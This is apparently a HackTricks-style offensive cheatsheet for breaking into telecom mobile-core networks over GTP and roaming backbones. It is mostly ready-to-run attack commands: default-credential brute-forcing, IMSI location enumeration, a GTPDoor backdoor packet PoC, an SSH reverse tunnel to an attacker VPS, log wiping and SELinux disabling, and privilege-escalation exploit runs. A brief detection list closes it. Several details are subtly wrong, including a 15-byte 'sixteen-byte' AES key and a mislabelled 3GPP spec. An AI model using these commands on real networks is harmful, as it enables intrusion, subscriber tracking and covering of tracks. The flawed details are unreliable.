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157 lines
6.0 KiB
Markdown
157 lines
6.0 KiB
Markdown
# Telecom Network Exploitation (GTP / Roaming Environments)
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{{#include ../../banners/hacktricks-training.md}}
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> [!NOTE]
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> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
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## 1. Recon & Initial Access
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### 1.1 Default OSS / NE Accounts
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A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success:
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```bash
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hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
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```
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If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
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### 1.2 Host Discovery inside GRX/IPX
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Most GRX operators still allow **ICMP echo** across the backbone. Combine `masscan` with the built-in `gtpv1` UDP probes to quickly map GTP-C listeners:
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```bash
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masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
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```
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## 2. Enumerating Subscribers – `cordscan`
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The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses. Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.
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```bash
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# Build
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GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
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# Usage (typical):
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./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
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```
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Key flags:
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- `--imsi` Target subscriber IMSI
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- `--oper` Home / HNI (MCC+MNC)
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- `-w` Write raw packets to pcap
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Important constants inside the binary can be patched to widen scans:
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```
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pingtimeout = 3 // seconds before giving up
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pco = 0x218080
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common_tcp_ports = "22,23,80,443,8080"
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```
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## 3. Code Execution over GTP – `GTPDoor`
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`GTPDoor` is a tiny ELF service that **binds UDP 2123 and parses every incoming GTP-C packet**. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via `/bin/sh -c`. The stdout/stderr are exfiltrated inside **Echo Response** messages so that no outward session is ever created.
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Minimal PoC packet (Python):
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```python
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import gtpc, Crypto.Cipher.AES as AES
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key = b"SixteenByteKey!"
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cmd = b"id;uname -a"
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enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
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print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
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```
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Detection:
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* any host sending **unbalanced Echo Requests** to SGSN IPs
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* GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec
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## 4. Pivoting Through the Core
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### 4.1 `sgsnemu` + SOCKS5
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`OsmoGGSN` ships an SGSN emulator able to **establish a PDP context towards a real GGSN/PGW**. Once negotiated, Linux receives a new `tun0` interface reachable from the roaming peer.
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```bash
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sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
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-APN internet -c 1 -d
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ip route add 172.16.0.0/12 dev tun0
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microsocks -p 1080 & # internal SOCKS proxy
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```
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With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
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### 4.2 SSH Reverse Tunnel over Port 53
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DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home:
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```bash
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ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
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```
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Check that `GatewayPorts yes` is enabled on the VPS.
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## 5. Covert Channels
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| Channel | Transport | Decoding | Notes |
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|---------|-----------|----------|-------|
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| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
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| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | watches for `*.nodep` sub-domain |
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| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |
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All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
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## 6. Defense Evasion Cheatsheet
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```bash
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# Remove attacker IPs from wtmp
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utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
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# Disable bash history
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export HISTFILE=/dev/null
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# Masquerade as kernel thread
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echo 0 > /proc/$$/autogroup # hide from top/htop
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printf '\0' > /proc/$$/comm # appears as [kworker/1]
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touch -r /usr/bin/time /usr/bin/chargen # timestomp
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setenforce 0 # disable SELinux
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```
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## 7. Privilege Escalation on Legacy NE
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```bash
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# DirtyCow – CVE-2016-5195
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gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
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# PwnKit – CVE-2021-4034
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python3 PwnKit.py
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# Sudo Baron Samedit – CVE-2021-3156
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python3 exploit_userspec.py
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```
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Clean-up tip:
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```bash
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userdel firefart 2>/dev/null
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rm -f /tmp/sh ; history -c
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```
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## 8. Tool Box
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* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
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* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
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* `Responder` : LLMNR/NBT-NS rogue WPAD
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* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
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* `FRP` (≥0.37) : NAT traversal / asset bridging
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---
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## Detection Ideas
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1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
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2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
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3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
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4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
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## References
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- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
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- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
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- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
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{{#include ../../banners/hacktricks-training.md}} |